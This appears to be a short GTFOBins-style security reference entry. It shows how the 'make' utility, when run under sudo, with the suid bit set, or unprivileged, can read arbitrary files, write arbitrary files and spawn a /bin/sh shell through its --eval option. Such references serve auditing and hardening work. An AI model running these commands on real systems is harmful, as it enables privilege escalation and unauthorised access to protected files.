make

File Read

Context: sudo, suid, unprivileged

make -s --eval='$(file >/dev/stdout,$(file </path/to/input-file))' .

File Write

Context: sudo, suid, unprivileged

make -s --eval='$(file >/path/to/output-file,DATA)' .

Shell

Context: sudo, suid, unprivileged

make --eval='$(shell /bin/sh 1>&0)' .